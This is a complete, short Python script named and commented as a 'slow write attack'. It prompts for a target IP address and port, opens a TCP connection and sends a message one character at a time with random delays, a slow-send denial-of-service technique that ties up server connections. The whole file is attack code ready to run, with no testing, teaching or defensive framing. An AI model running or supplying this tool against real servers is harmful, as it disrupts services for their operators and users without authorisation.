import socket
import time
import random

def slow_write_attack(target_ip, target_port, message, delay_range=(0.05, 0.2), chunk_size=10):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))

    for i in range(0, len(message), chunk_size):
        chunk = message[i:i + chunk_size]
        for char in chunk:
            sock.send(char.encode())
            time.sleep(random.uniform(*delay_range))
        time.sleep(random.uniform(*delay_range))

    sock.close()

# Use input() function to get user input
target_ip = input("Enter the target IP address: ")
target_port = int(input("Enter the target port: "))
message = input("Enter the message to send: ")
delay_range = tuple(map(float, input("Enter the delay range (min max) (e.g., 0.05 0.2): ").split()))
chunk_size = int(input("Enter the chunk size (e.g., 10): "))

# Perform the slow write attack
slow_write_attack(target_ip, target_port, message, delay_range, chunk_size)